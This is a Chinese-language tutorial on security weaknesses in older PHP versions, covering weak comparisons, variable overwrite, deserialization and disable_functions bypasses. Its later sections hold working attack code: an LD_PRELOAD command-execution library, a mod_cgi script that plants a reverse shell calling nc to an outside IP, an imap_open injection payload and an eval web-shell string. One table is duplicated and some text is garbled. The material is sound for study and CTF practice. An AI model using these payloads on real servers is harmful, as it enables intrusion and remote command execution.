PHP低版本安全问题

目录

1、PHP弱类型问题

[1.1 MD5、 SHA1 弱比较问题](#1.1 MD5、 SHA1 弱比较问题)

[1.2 数组 == 0](#1.2 数组 == 0)

1)函数无法处理数组,返回0

2)strcmp

2、特殊字符串导致的问题

[2.1 "ffifdyop" 与 md5(string,raw)](#2.1 "ffifdyop" 与 md5(string,raw))

[2.2 ereg函数漏洞:00 截断](#2.2 ereg函数漏洞:00 截断)

3、正则匹配问题

[1)preg_match 没有 ^ 和 ](#1)preg_match 没有 ^ 和 )

[2)pre_match 正则匹配回溯](#2)pre_match 正则匹配回溯)

4、变量覆盖

1)extract()

[2)parse_str(str) 、mb_parse_str(str)](#2)parse_str(str) 、mb_parse_str(str))

[3)php 动态变量特性导致的变量覆盖](#3)php 动态变量特性导致的变量覆盖)

5、数据类型强制转换

1)intval()

2)in_array()

6、反序列化相关的问题

[6.1 php魔术方法](#6.1 php魔术方法)

[1)在 PHP 反序列化的过程中会自动执行一些魔术方法](#1)在 PHP 反序列化的过程中会自动执行一些魔术方法)

2)反序列化的常见起点

3)反序列化的常见中间跳板

4)反序列化的常见终点

[5)Phar 反序列化原理以及特征](#5)Phar 反序列化原理以及特征)

[6.2 其他关键点](#6.2 其他关键点)

[1)__wakeup() 检测绕过](#1)__wakeup() 检测绕过)

2)反序列化字符串逃逸

[7、php 伪随机数爆破](#7、php 伪随机数爆破)

[8、PHP 危险函数](#8、PHP 危险函数)

9、disable_functions绕过

[9.1 sendmail() + LDPRELOAD 劫持系统函数](#9.1 sendmail() + LDPRELOAD 劫持系统函数)

1)编译动态链接库,劫持系统函数

[2)通过 php 文件设置优先加载编写动态链接库](#2)通过 php 文件设置优先加载编写动态链接库)

[9.2 mail + LDPRELOAD 无需劫持函](#9.2 mail + LDPRELOAD 无需劫持函)

[9.3 攻击 php-fpm 绕过](#9.3 攻击 php-fpm 绕过)

[9.4 apache mod_cgi模式](#9.4 apache mod_cgi模式)

[9.5 imap_open](#9.5 imap_open)

[9.6 利用第三方组件漏洞](#9.6 利用第三方组件漏洞)

[10、PDO 下的 SQL注入](#10、PDO 下的 SQL注入)

[10.1 堆叠注入](#10.1 堆叠注入)

[10.2 报错注入](#10.2 报错注入)

1)模拟预处理

2)非模拟预处理

[10.3 盲注](#10.3 盲注)

11、安全配置问题

1)注册全局变量带来的安全隐患

[2) 配置不显示错误信息,保存错误信息到本地](#2) 配置不显示错误信息,保存错误信息到本地)

3)权限问题

[4)allow_url_include 和 allow_url_fopen](#4)allow_url_include 和 allow_url_fopen)

[5)magic_quotes_gpc, magic_quotes_runtime](#5)magic_quotes_gpc, magic_quotes_runtime)

[6)safe_mode功能描述:限制函数使用权限和操作目录文件权限等功能。php 的安全模式,开启后会提升系统的安全系数,但是同时也会限制一些功能的使用。检验用户是否有操作文件权限。在安全模式下包含某些公共文件,可以选用它的子配置](#6)safe_mode功能描述:限制函数使用权限和操作目录文件权限等功能。php 的安全模式,开启后会提升系统的安全系数,但是同时也会限制一些功能的使用。检验用户是否有操作文件权限。在安全模式下包含某些公共文件,可以选用它的子配置)

7)open_basedir

8)disable_functions

9)expose_php

10)display_startup_errors


1、PHP弱类型问题

1.1 MD5、 SHA1 弱比较问题

MD5、SHA1函数将 "0x" 开头的哈希值都解释为科学计数法 0 的多少次方(结果都为 0),若两个不同的密码经过哈希以后,其哈希值都是以 "0e" 开头的,那么使用弱类型比较时,php 将会认为他们相同。

php 复制代码
$a = 'QNKCDZO';
$b = 's214587387a';
if(md5($a) == md5($b)){
    echo "yes";
}

|--------------------|------------------|
| MD5常见弱比较payload | SHA1常见弱比较payload |
| md5('240610708') | sha1('aaK1STfY') |
| md5('s878926199a') | sha1('aaO8zKZF') |
| md5('s155964671a') | sha1('aa3OFF9m') |
| md5('s214587387a') | sha1('aaroZmOk') |
| md5('s214587387a') | - |
| md5('QNKCDZO') | - |

1.2 数组 == 0

1)函数无法处理数组,返回0

部分函数无法处理数组,当传入的参数为数组时可能返回0,在进行比较时,即可能存在绕过。涉及的函数:sha1()、md5()、is_numeric()、strpos()

2)strcmp
  1. 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
  2. 先将两个参数先转换成 string 类型。
  3. 当比较数组和字符串的时候,返回是 0。
  4. 如果参数不是 string 类型,直接 return

2、特殊字符串导致的问题

2.1 "ffifdyop" 与 md5(string,raw)

当 php 使用 md5(string,raw) 进行密码的正确性判断,可以通过字符串 ffifdyop 绕过判断

sql 复制代码
select * from 'admin' where password=md5($pass,true)

字符串 ffifdyop 经过 md5 编码后返回的原始二进制为**'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c**,相当于构造了

sql 复制代码
select * from 'admin' where password= '' or  '6\xc9]\x99\xe9!r,\xf9\xedb\x1c'
即
select * from 'admin' where password= '' or  true

2.2 ereg函数漏洞:00 截断

若如果 $_GET["password"] 为数组,则返回值为 NULL,若为 123%00&&&** ,则返回值为true。(php7 已移除此函数)C 语言等编程语言,默认以 **"\0 "**作为字符串的结束符,当读取到这样的空字符,便认为字符串结束,不在向后读取。

php 复制代码
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){
    echo "invalid password";
}

3、正则匹配问题

1)preg_match 没有 ^ 和 $

preg_match 默认存在贪婪匹配,未限制开始和结束(^ 和 $),则存在绕过的问题。"abc1.1.1.1" 即可绕过。

php 复制代码
<?php
$ip = 'asd 1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
  die('error');
} else {
   echo('key...');
}
?>
2)pre_match 正则匹配回溯

pre_match 默认贪婪匹配,会进行正则匹配回溯,回溯次数太多会消耗很多服务器资源,甚至造成正则表达式的拒绝服务攻击(reDOS)。因此 php 的 pcre.backtrack_limit 选项可设置默认回溯上线为 100 万次,所以通过传递一个超长的字符串给 pre_match 进行解析,可以导致 pre_match 正则匹配超过回溯上限,使得 php 认为正则匹配失败,返回 false。

php 复制代码
<?php 
function is_php($data){ 
    return preg_match('/<\?.*[(`;?>].*/is', $data); 
}

if(!is_php($input)) {
     // fwrite($f, $input); ... 
}

4、变量覆盖

1)extract()

从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值。在指定参数为 EXTR_OVERWRITE 或者没有指定函数可以导致变量覆盖。(历史漏洞:thinkphp 5 文件包含漏洞)

php 复制代码
<?php
$flag = 'xxx';
extract($_GET);
if (isset($gift)) {
    $content = trim(file_get_contents($flag));
    if ($gift === $content) {
        echo 'flag{...}';
    }
}
?>

payload:?flag=&gift=

extract() 会将已设置的 flag 变量覆盖为 _GET 收到的 flag 的值

2)parse_str(str) 、mb_parse_str(str)

可将字符串解析成多个变量,若参数 str 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。若未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量

php 复制代码
<?php
error_reporting(0);
if(empty($_GET['id'])) {                 
    die();                                        
} else {
    include ('flag.php');
    $a = "www.OPENCTF.com";
    $id = $_GET['id'];
    @parse_str($id);
    if (md5($a[0]) == md5('QNKCDZO')) {
        echo $flag;
    } else {
        exit();
        }
}
?>

payload:?id=a[0]=QNKCDZO

parse_str() 将 "a[0]=QNKCDZO" 解析,导致 a[0] 原本的值被覆盖

3)php 动态变量特性导致的变量覆盖
php 复制代码
<?php
foreach (array('_COOKIE','_POST','_GET') as $_request) {
    foreach ($$_request as $_key=>$_value)  { 
// $_request => _GET,$$_request => $_GET
        $$_key = $_value;                     
// $_GET => id=1,$$_GET => $id=1
    }
}
$id = isset($id) ? $id : 2;
if($id === 1) {
    echo "flag{xxxxxxxxxx}";
    die();
}
?>

payload:?id=1

5、数据类型强制转换

1)intval()

intval() 转换的时候,会将从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval() 不会报错而是返回 0,并且 intval() 函数可以被 %00 截断。而在使用数据库存储数据时,仅用 is_numberic 判断而不用 intval 转换就有可能插入16 进制的字符串到数据库,进而可能导致 sql 二次注入。

php 复制代码
var_dump(intval('2'));     //2 
var_dump(intval('3abcd')); //3 
var_dump(intval('abcd'));  //0

if($_GET['number']!=strval(intval($_GET['number']))){
    $info = "number must be equal to it's integer!! "; 
}

payload:?number=0%00

2)in_array()

在所有php认为是int的地方输入string,都会被强制转换

php 复制代码
var_dump(in_array('abc', $array)); //true 
var_dump(in_array('1bc', $array)); //true

6、反序列化相关的问题

6.1 php魔术方法

php 中的魔术方法以符号 **__**开头的,如 __construct, __destruct,__toString,__sleep,__wakeup 等等。这些函数都会在某些特殊时候被自动调用。

1)在 PHP 反序列化的过程中会自动执行一些魔术方法

|--------------|----------------------------------------------------------------|
| 方法名 | 调用条件 |
| __call | 调用不可访问或不存在的方法时被调用 |
| __callStatic | 调用不可访问或不存在的静态方法时被调用 |
| __clone | 进行对象clone时被调用,用来调整对象的克隆行为 |
| __constuct | 构建对象的时被调用 |
| __debuginfo | 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本 |
| __destruct | 明确销毁对象或脚本结束时被调用 |
| __get | 读取不可访问或不存在属性时被调用 |
| __invoke | 当以函数方式调用对象时被调用 |
| __isset | 对不可访问或不存在的属性调用isset()或empty()时被调用 |
| __set | 当给不可访问或不存在属性赋值时被调用 |
| __set_state | 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。 |
| __sleep | 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用 |
| __wakeup | 当使用unserialize时被调用,可用于做些对象的初始化操作 |
| __toString | 当一个类被转换成字符串时被调用 |
| __unset | 对不可访问或不存在的属性进行unset时被调用 |

2)反序列化的常见起点
  1. __wakeup :一定会调用

  2. __destruct: 一定会调用

  3. __toString: 当一个对象被反序列化后又被当做字符串使用

3)反序列化的常见中间跳板
  1. __toString :当一个对象被当做字符串使用

  2. __get :读取不可访问或不存在属性时被调用

  3. __set :当给不可访问或不存在属性赋值时被调用

  4. __isset :对不可访问或不存在的属性调用isset()或empty()时被调用

4)反序列化的常见终点
  1. __call :调用不可访问或不存在的方法时被调用

  2. call_user_func :一般php代码执行都会选择这里

  3. call_user_func_array :一般php代码执行都会选择这里

5)Phar 反序列化原理以及特征

phar:// 伪协议会在多个函数中反序列化其 metadata 部分,受影响的函数包括不限于如下:

php 复制代码
copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,

fileinode,filemtime,fileowner,fileperms,

fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,

is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,

imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,

get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo

6.2 其他关键点

1)__wakeup() 检测绕过

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。当 __wakeup() 被用来检测序列化数据时,当成员属性数目大于实际数目时可绕过检测(CVE-2016-7124),此时可以在序列化数据内插入非法字符。

php 复制代码
<?php
class User{
    public age;
    public name;
    ......

    // 使用__wakeup() 对反序列化内容进行检查和转换操作
    function __wakeup() {
        foreach($this->args as $k => $v) {
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
    ...
}
...
?>

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}  // 正确的序列化字符串
O:4:"User":3:{s:3:"age";i:20;s:4:"name";s:10:"John'xxxxx";}  // 绕过__wakeup的序列化字符串检查
2)反序列化字符串逃逸

PHP 在反序列化时,对类中不存在的属性也会进行反序列化,并且底层代码是以 ; 作为字段的分隔,以 **}**作为结尾(字符串除外),并且是根据长度判断内容的。

造成字符串逃逸的原因:

字符串的序列化数量和实际数量不一致。当序列化的字符串在反序列化之前被添加或者删除了部分字符,就导致了数据类型的数量标记的错误,解析时就会漏解析或多解析。

php 复制代码
<?php
class User{
    public age;
    public name;
    ...
}
...
$user = serialize($object);
...
function filter($str){
        $str  = str_replace('phtml','',$string);
}
...
unserialize(filter($user));
?>

O:4:"User":3:{s:3:"age";i:20;s:4:"name";s:25:"phtmlphtmlphtmlphtmlphtml";}
插入数据:
O:4:"User":3:{s:3:"age";i:20;s:4:"name";s:25:"phtmlphtmlphtmlphtmlphtml";}<? @eval($_POST[1]);?>";}
被过滤后:
O:4:"User":3:{s:3:"age";i:20;s:4:"name";s:25:"";}<? @eval($_POST[1]);?>";}

7、php 伪随机数爆破

计算机不能产生绝对的随机数,只能产生伪随机数,即有规律的数据。伪随机是由可确定的函数,通过一个种子(常用时钟)播种,产生的伪随机数。若已知种子,或者已经产生的随机数,或者已知产生的随机数的一部分,都可能获得接下来随机数序列的信息。已知了随机数列,则能确定随机数种子。

PHP 的伪随机数有关的两个函数:

  1. mt_rand(min,max):如果没有提供可选参数 min 和 max,返回 0 到 RAND_MAX 之间的伪随机数。
  2. mt_srand(seed) 播种 Mersenne Twister 随机数生成器,参数 seed 为规定播种值,函数用 seed 来给随机数发生器播种。

php 每次调用 mt_rand() 函数时,都会先检查是否已经播种。如果已经播种就直接产生随机数,否则调用 php_mt_srand 来播种。即每个 php cgi 进程期间,只有第一次调用 mt_rand() 会自动播种,此后都会根据这个第一次播种的种子来生成随机数。

根据 mt_rand() 产生的随机数,可以使用爆破工具 php_mt_seed 进行爆破随机数种子:

java 复制代码
root@ubuntu:/opt/php_mt_seed-4.0# php -r 'mt_srand(1234567890); echo mt_rand(),"\n";'
1328851649
root@ubuntu:/opt/php_mt_seed-4.0# ./php_mt_seed 1328851649
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 3523.2 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x1e000000 - 0x1fffffff, speed 31.3 Mseeds/s
seed = 0x1fd65f9a = 534142874 (PHP 7.1.0+)
Found 1, trying 0x26000000 - 0x27ffffff, speed 31.3 Mseeds/s
seed = 0x273a3517 = 658126103 (PHP 5.2.1 to 7.0.x; HHVM)
Found 2, trying 0x48000000 - 0x49ffffff, speed 31.5 Mseeds/s
seed = 0x499602d2 = 1234567890 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x499602d2 = 1234567890 (PHP 7.1.0+)
Found 4, trying 0xfe000000 - 0xffffffff, speed 31.9 Mseeds/s
Found 4
root@ubuntu:/opt/php_mt_seed-4.0#

8、PHP 危险函数

|--------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 命令执行函数 | 描述 |
| error_log() | 将错误信息发送到指定位置(文件)。在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,执行任意命令。 |
| preg_replace('/pattern/e','' ) | 执行一个正则表达式的搜索和替换。/e 修正符会导致:在完成替换后,引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串。/e 在php 5.5之后被废除。 |
| eval() | 把字符串作为PHP代码执行 |
| passthru() | 允许执行一个外部程序并回显输出,类似于 exec() |
| exec() | 允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等),命令执行结果的最后一行内容 |
| system() | 允许执行一个外部程序并回显输出 |
| shell_exec() | 通过 Shell 执行命令,并将执行结果作为字符串返回 |
| popen() | 可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。 |
| proc_open() | 执行一个命令并打开文件指针用于读取以及写入。 |
| proc_get_status() | 获取使用 proc_open() 所打开进程的信息。 |
| ob_start() | 此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。 |
| unserialize() | PHP 5.4.36之前版本,"process_nested_data()"函数在实现上存在释放后重利用漏洞,攻击者通过向"unserialize()" 函数传递构造的输入,利用此漏洞可破坏内存;"var_push_dtor()"函数在实现上存在空指针间接引用漏洞,攻击者通过 向"unserialize()"函数传递构造的输入,利用此漏洞可造成崩溃。成功利用这些漏洞可造成任意代码执行。 |

|------------------------------------------------|---------------------------------------------------------------------------------------------------|
| 可调用命令执行函数的危险函数 | 描述 |
| create_function() | 用于创建一个匿名函数,此函数会在内部执行 eval() |
| call_user_func() | 把第一个参数作为回调函数调用。函数第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 |
| call_user_func_array() | 调用回调函数,并把一个数组参数作为回调函数的参数 <?php arr\[0\]=GET['cmd'];call_user_func_array("system", arr);?\> | | usort()、uasort()、uksort() | 使用用户自定义的比较函数对数组中的值、键名进行排序 | | array_map() | 为数组的每个元素应用回调函数 \arr[0]=GET\['cmd'\];echo array_map(GET['func'], $arr);?> |
| array_filter () | 用回调函数过滤数组中的单元 |
| array reduce() | 用回调函数迭代地将数组简化为单一的值 |
| array_diff_uassoc() | 用用户提供的回调函数做索引检查来计算数组的差集 |
| arra y_diff _ ukey() | 用回调函数对键名比较计算数组的差集 |
| array
udiff() | 用回调函数比较数据来计算数组的差集 |
| array udiff_assoc() | 带索引检查计算数组的差集,用回调函数比较数据 |
| array_udiff
uassoc() | 带索引检查计算数组的差集,用回调函数比较数据和索引 |
| array_intersect_uassoc() | 带索引检查计算数组的交集,用回调函数比较索引 |
| array
uintersect() | 计算数组的交集,用回调函数比较数据 |
| array_uintersect_assoc() | 带索引检查计算数组的交集,用回调函数比较数据 |
| array_uintersect_ uassoc() | 带索引检查计算数组的交集,用单独的回调函数比较数据和索引 |
| array_ walk() | 使用用户自定义函数对数组中的每个元素做回调处理 |
| array_walk_ recursive() | 对数组中的每个成员递归地应用用户函数 |
| xml_set_character_data_handler(parser,handler) | 为 parser 变量指向的 XML 解析器指定字符数据处理函数。 |
| xml_set_default_handler(parser,handler) | 为 parser 指定的 XML 处理器建立默认处理函数 |
| xml set element_ handler(parser,handler) | 为 parser 参数指定的 XML 解析器建立元素处理器函数。 |
| xml_set_end_namespace_decl_handler() | 建立终止命名空间声明处理器 |
| xml_ set_ external_ entity ref_handler | 为 parser 参数指定的 XML 解析器建立外部实体指向处理器函数 |
| xml_set notation decl_handler() | 为 parser 参数指定的 XML 解析器建立注释声明处理器函数。 |
| xml set_processing_instruction handler() | 为 parser 参数指定的 XML 解析器建立处理指令(PI)处理器函数 |
| xml_set_start_namespace_decl_handler() | 建立起始命名空间声明处理器 |
| xml_set_unparsed_entity decl_handler() | 为 parser 参数指定的 XML 解析器建立未解析实体定义声明处理器函数。当 XML 解析器遇到如下含有 NDATA 声明的外部实体定义声明时,该 handler 处理器将被调用 |
| stream_filter_register() | 允许用户使用任何文件系统上的函数,在任何流上实现自定义的过滤器 |
| set
error
handler() | 设置用户自定义的错误处理函数 |
| register
shutdown
function() | 注册一个会在php中止时执行的函数 |
| register_tick_function() | 当tick被调用时,注册被给定的需要执行的函数 |

|------------------------------------------------|---------------------------------------------------------------------------------------------------|
| 可调用命令执行函数的危险函数 | 描述 |
| create_function() | 用于创建一个匿名函数,此函数会在内部执行 eval() |
| call_user_func() | 把第一个参数作为回调函数调用。函数第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 |
| call_user_func_array() | 调用回调函数,并把一个数组参数作为回调函数的参数 <?php arr\[0\]=GET['cmd'];call_user_func_array("system", arr);?\> | | usort()、uasort()、uksort() | 使用用户自定义的比较函数对数组中的值、键名进行排序 | | array_map() | 为数组的每个元素应用回调函数 \arr[0]=GET\['cmd'\];echo array_map(GET['func'], $arr);?> |
| array_filter () | 用回调函数过滤数组中的单元 |
| array reduce() | 用回调函数迭代地将数组简化为单一的值 |
| array_diff_uassoc() | 用用户提供的回调函数做索引检查来计算数组的差集 |
| arra y_diff _ ukey() | 用回调函数对键名比较计算数组的差集 |
| array
udiff() | 用回调函数比较数据来计算数组的差集 |
| array udiff_assoc() | 带索引检查计算数组的差集,用回调函数比较数据 |
| array_udiff
uassoc() | 带索引检查计算数组的差集,用回调函数比较数据和索引 |
| array_intersect_uassoc() | 带索引检查计算数组的交集,用回调函数比较索引 |
| array
uintersect() | 计算数组的交集,用回调函数比较数据 |
| array_uintersect_assoc() | 带索引检查计算数组的交集,用回调函数比较数据 |
| array_uintersect_ uassoc() | 带索引检查计算数组的交集,用单独的回调函数比较数据和索引 |
| array_ walk() | 使用用户自定义函数对数组中的每个元素做回调处理 |
| array_walk_ recursive() | 对数组中的每个成员递归地应用用户函数 |
| xml_set_character_data_handler(parser,handler) | 为 parser 变量指向的 XML 解析器指定字符数据处理函数。 |
| xml_set_default_handler(parser,handler) | 为 parser 指定的 XML 处理器建立默认处理函数 |
| xml set element_ handler(parser,handler) | 为 parser 参数指定的 XML 解析器建立元素处理器函数。 |
| xml_set_end_namespace_decl_handler() | 建立终止命名空间声明处理器 |
| xml_ set_ external_ entity ref_handler | 为 parser 参数指定的 XML 解析器建立外部实体指向处理器函数 |
| xml_set notation decl_handler() | 为 parser 参数指定的 XML 解析器建立注释声明处理器函数。 |
| xml set_processing_instruction handler() | 为 parser 参数指定的 XML 解析器建立处理指令(PI)处理器函数 |
| xml_set_start_namespace_decl_handler() | 建立起始命名空间声明处理器 |
| xml_set_unparsed_entity decl_handler() | 为 parser 参数指定的 XML 解析器建立未解析实体定义声明处理器函数。当 XML 解析器遇到如下含有 NDATA 声明的外部实体定义声明时,该 handler 处理器将被调用 |
| stream_filter_register() | 允许用户使用任何文件系统上的函数,在任何流上实现自定义的过滤器 |
| set
error
handler() | 设置用户自定义的错误处理函数 |
| register
shutdown
function() | 注册一个会在php中止时执行的函数 |
| register_tick_function() | 当tick被调用时,注册被给定的需要执行的函数 |

9、disable_functions绕过

9.1 sendmail() + LDPRELOAD 劫持系统函数

LD_PRELOAD 是 linux 系统的一个环境变量,用来定义在程序运行前优先加载的动态链接库,其功能主要是有选择性的载入不同动态链接库中的相同函数。

流程:

  1. 找一个 php 函数,其实现方式包含调用系统共享对象中的函数
  2. 写一个动态链接库,覆盖该 php 函数调用的系统命令的某个函数
  3. 通过 php 脚本,使用 putenv 设置优先加载编写动态链接库,通过覆盖该系统函数从而执行命令
  4. 将编译成的动态链接库和php文件上传到靶机,include该php文件
1)编译动态链接库,劫持系统函数

php中的mail、error_log、imap_mail、mb_send_mai 函数通过调用系统中的 sendmail 命令实现,sendmail 二进制文件中使用了 getuid 库函数,因此可以覆盖 getuid 函数。

cpp 复制代码
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int  getuid()
{
    const char* cmdline = getenv("EVIL_CMDLINE");
    if (getenv("LD_PRELOAD") == NULL)
    {
         return 0;
    }
    unsetenv("LD_PRELOAD");system(cmdline);
}

以上内容编译成动态链接库

bash 复制代码
gcc -shared -fPIC geteuid.c -o getuid.so
2)通过 php 文件设置优先加载编写动态链接库

putenv 添加环境变量(一个是上传的so库地址、一个是要执行的命令),将system命令输出内容写入指定文件。

php 复制代码
<?php
$cmd = $_REQUEST["cmd"];
$out_path = $_REQUEST["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_REQUEST["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";  
?>

9.2 mail + LDPRELOAD 无需劫持函

适用于无法使用 sendmail 的情况,只需要找到该php环境中存在执行系统命令的函数、且 putenv函数未被禁用的情况下,就可以绕过disable_function。GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor)) 修饰的函数。

编译并上传如下内容,此时同样的 php 文件,使用这个动态库,即使靶机没有 sendmail,也会执行命令。并且因为不用等待 sendmail 返回,现在可以实时显示命令执行返回内容。

cpp 复制代码
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void getuid()
{
    const char* cmdline = getenv("EVIL_CMDLINE");
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD"); system(cmdline);
}

9.3 攻击 php-fpm 绕过

php-fpm 内嵌有 php 解释器,webserver 将用户请求按照 fastcgi 协议打包发给 php-fpm,经 php 解释器解析后将标准内容再返回给 webserver。

php-fpm 与 nginx 有 TCP 和 UNIX socket 两种通信方式。TCP 方式php-fpm 会监听本地 9000 端口等待 webserver 连接通信,UNIX socket 以文件(一般是 .sock)作为 socket 的唯一标识(描述符),需要通信的两个进程引用同一个 socket 描述符文件就可以建立通道进行通信。

攻击步骤:

  1. 一个能模拟与 php-fpm 通信的 php 文件、一个符合当前 php 版本的写了命令执行函数的 php 扩展。
  2. 将两个文件上传执行。

这两个都已经有师傅写好了

php 文件可以用这个 https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/fcgi_jailbreak.php

扩展 https://github.com/AntSwordProject/ant_php_extension,用相应版本 php 编译即可,项目中编译的扩展实现了一个功能与 system 相同名字为 antsystem2 的函数。

9.4 apache mod_cgi模式

实现要求:

  • apache且运行mod_cgi模式
  • web目录可写
  • 允许.htaccess生效

CGI 模式下,每接受一个用户请求,apache 都会 fork 一个进程运行 CGI 程序解析 php 脚本,在 .htaccess 中可以设置允许在 web 目录运行 CGI 程序,然后上传一个 shell 命令文件上去,执行就可以反弹一个 shell 了。

在 .htaccess 中添加以下内容,指定 .dazzle 为结尾的文件为 CGI 脚本程序并且允许本目录执行,只要同时上传一个 .dazzle 的 shell 即可。

bash 复制代码
Options +ExecCGIAddHandler 
cgi-script .dizzle

payload 如下,上传访问,代码会自己检查是否符合条件,符合条件直接执行命令反弹 shell。

php 复制代码
<?php
$cmd = "nc -c '/bin/bash' 172.16.15.1 4444"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
//header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; 
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
    echo "$text: " . ($condition ? $yes : $no) . "\n";
}
if (!isset($_GET['checked']))
{
    //Append it to a .htaccess file to see whether .htaccess is allowed
    @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); 
    //execute the script again to see if the htaccess test worked
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); 
} else {
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
    checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
    checkEnabled("Is writable",$writable,"Yes","No");
    checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
    {
            echo "Error. All of the above must be true for the script to work!"; //abort if not
    } else{
            //make a backup, cause you never know.
            checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); 
            //.dizzle is a nice extension
            checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); 
            checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
            checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
            echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
        }
}
?>

9.5 imap_open

imap_open 函数爆出的任意命令执行漏洞也可以用来利用绕过 disable_function,但要求靶机安装并开启了 imap 扩展。payload 如下,上传后访问就能执行其中的代码。

php 复制代码
<?php
// CRLF (c)
// echo '1234567890'>/tmp/test0001

$server = "x -oProxyCommand=echo\
tZWNobyAnMTIzNDU2Nzg5MCc
+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

9.6 利用第三方组件漏洞

这是基于靶机安装的后端组件中本来就存在已知漏洞,通过漏洞直接注入 shell 命令,从而绕过php 的限制。比如 ImageMagick 漏洞、Bash 的破壳漏洞、GhostScript 沙箱绕过(命令执行)漏洞等等。

10、PDO 下的 SQL注入

在 MySQL 中,一条 SQL 语句从传入到执行经历了以下过程:检查缓存、规则验证、解析器解析为语法树、预处理器进一步验证语法树、优化 SQL 、生成执行计划、执行。

PDO 预编译使用占位符?代替字段值的部分,将 SQL 语句先交由数据库预处理,构建语法树,再传入真正的字段值多次执行,省却了重复解析和优化相同语法树的时间,提升了 SQL 执行的效率。

因为在传入字段值之前,语法树已经构建完成,因此无论传入任何字段值,都无法再更改语法树的结构。至此,任何传入的值都只会被当做值来看待,不会再出现非预期的查询,这是预编译能够防止SQL注入的根本原因。

10.1 堆叠注入

PDO 默认支持多语句查询,如果 php 版本小于 5.5.21 或者创建 PDO 实例时未设置 PDO::MYSQL_ATTR_MULTI_STATEMENTS 为 false 时可能会造成堆叠注入。

php 复制代码
// 创建PDO时,禁止多语句执行
new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))

10.2 报错注入

PDO 分为模拟预处理和非模拟预处理

1)模拟预处理

是防止某些数据库不支持预处理而设置的,PDO 内部会模拟参数绑定的过程,先将 SQL 语句处理完,最后 execute() 的时候才发送给数据库执行。

2)非模拟预处理

通过数据库服务器来进行预处理动作,主要分为两步:

  • 第一步是 prepare 阶段,发送 SQL 语句模板到数据库服务器;
  • 第二步通过 execute() 函数发送占位符参数给数据库服务器进行执行。
php 复制代码
try {
    $pdo = new PDO($dsn, $user, $pass);
} catch (PDOException $e) {
    echo $e;
}
